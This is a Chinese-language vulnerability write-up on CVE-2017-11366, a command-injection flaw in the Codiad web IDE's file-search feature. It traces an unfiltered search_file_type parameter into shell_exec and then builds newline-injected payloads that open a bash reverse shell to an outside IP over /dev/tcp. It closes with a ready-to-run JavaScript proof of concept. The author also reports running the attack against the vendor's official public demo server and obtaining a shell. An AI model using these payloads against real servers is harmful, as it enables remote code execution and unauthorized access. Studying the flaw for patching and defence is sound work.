[CVE-2017-11366]Codiad 漏洞挖掘笔记 (0

---

本文首发地址 :

https://xianzhi.aliyun.com/forum/read/2000.html

先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。
先知技术社区投稿邮箱：Aliyun_xianzhi@service.alibaba.com

---

仓库 :

https://github.com/Codiad/Codiad

---

环境搭建 :

####基础环境 : 
---------------------------------------------------------------------------
PHP 7.0.20-2 (cli) (built: Jun 14 2017 05:30:04) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
    with Zend OPcache v7.0.20-2, Copyright (c) 1999-2017, by Zend Technologies
---------------------------------------------------------------------------
Server version: Apache/2.4.25 (Debian)
Server built:   2017-06-20T19:31:51

#### PHP扩展
apt install php7.0-mbstring
apt install php7.0-zip

#### PHP 配置
vim /etc/php/7.0/apache2/php.ini
zend.multibyte = On

####应用环境 : 
---------------------------------------------------------------------------
cd /var/www/html
git clone https://github.com/Codiad/Codiad.git
cd Codiad
cp config.example.php config.php
chmod o+w workspace
chmod o+w plugins
chmod o+w data
chmod o+w themes
chmod o+w config.php

问题 : 
1. 注意到这里在配置环境的时候需要给 config.php 写权限
隐隐感觉到可能会存在问题...
2. 其他可以写的目录也可能为写入 shell 提供便利

#### 创建项目
这里笔者将项目根目录放置于 : /root/pentest/
需要为这个目录赋予写权限
chmod o+w /root/pentest
在这个文件夹下面创建一个 php 文件
index.php
<?php phpinfo();?>

image.png

---

开始测试 :

1. 首先验证一下之前在 XMAN 中发现的命令执行漏洞是否可用

找到文件搜索功能 : 

image.png

我们已经知道这个目录下面是存在文件 : index.php
<?php phpinfo();?>
直接搜索 phpinfo

抓包分析 :

image.png image.png image.png

---

白盒分析 :

# 填坑

image.png image.png image.png

// ./components/filemanager/controller.php
    public function search()
    {
        if (!function_exists('shell_exec')) {
            $this->status = "error";
            $this->message = "Shell_exec() Command Not Enabled.";
        } else {
            if ($_GET['type'] == 1) {
                $this->path = WORKSPACE;
            }
            $input = str_replace('"', '', $this->search_string);
            $input = preg_quote($input);
            $output = shell_exec('find -L ' . $this->path . ' -iregex  ".*' . $this->search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');
            $output_arr = explode("\n", $output);
            $return = array();
            foreach ($output_arr as $line) {
                $data = explode(":", $line);
                $da = array();
                if (count($data) > 2) {
                    $da['line'] = $data[1];
                    $da['file'] = str_replace($this->path, '', $data[0]);
                    $da['result'] = str_replace($this->root, '', $data[0]);
                    $da['string'] = str_replace($data[0] . ":" . $data[1] . ':', '', $line);
                    $return[] = $da;
                }
            }
            if (count($return)==0) {
                $this->status = "error";
                $this->message = "No Results Returned";
            } else {
                $this->status = "success";
                $this->data = '"index":' . json_encode($return);
            }
        }
        $this->respond();
    }

// 重点在这句 , shell_exec 执行了系统命令 , 而且参数是我们可控的
$output = shell_exec('find -L ' . $this->path . ' -iregex  ".*' . $this->search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');
// 可控参数有 : 
// $this->path
// $this->search_file_type
// $input
根据这三个参数向上溯源可以发现 : 

image.png image.png image.png image.png

可以很容易就发现 , $this->search_file_type 这个参数是直接从 POST 参数中取出来的, 并没有经过任何过滤
这样一个命令执行漏洞就已经产生了
我们来查一下 shell_exec 函数的细节 :

image.png

通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
而通过 shell 环境执行命令是可以使用换行符号的 , 这样很容易就可以执行我们的任意命令

# 构造命令 : 
find -L /home/pentest -iregex  ".*SniperOJ"
/bin/bash -c 'sh -i >& /dev/tcp/120.24.215.80/8888 0>&1'
grep "SniperOJ" -type f | xargs grep -i -I -n -R -H "php"

也就是 search_file_type = 
SniperOJ"%0a%2Fbin%2Fbash+-c+%27sh+-i+>%26+%2Fdev%2Ftcp%2F8.8.8.8%2F8888+0>%261%27%0agrep%20"SniperOJ

image.png

记得之前测试 Codiad 的官方 Demo 的时候 , 发现在创建项目的时候是可以直接使用 git 仓库进行创建的
所以说 , Demo所在的服务器是必然可以访问互联网的
那么我们接下来如果对官方 Demo 进行测试 , 应该也是可以成功的
接下来我们测试一下官方 Demo

image.png image.png image.png image.png image.png image.png

成功 get shell

image.png image.png

---

黑盒测试问题汇总 :

1. 安装的时候似乎可以任意制定项目路径 , 但是安装完成后就不能随意指定项目路径了 , 被允许的路径有 : /home/ 以及 /var/www/
2. 官方 Demo 中虽然不允许输入绝对路径创建项目 , 但是可以使用 git 来拉取远程的仓库
3. 官方 Demo 访问 http://demo.codiad.com/i/202118236174/workspace 则会 500 错误

POC

ip="8.8.8.8";
port="8888";
$.get("/components/project/controller.php?action=get_current",function(d){p=JSON.parse(d)['data']['path'];$.post("/components/filemanager/controller.php?action=search&path="+p,{"search_file_type":"\"\n/bin/bash -c 'sh -i >&/dev/tcp/"+ip+"/"+port+" 0>&1'\ngrep \"",});});

---

参考资料 :

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11366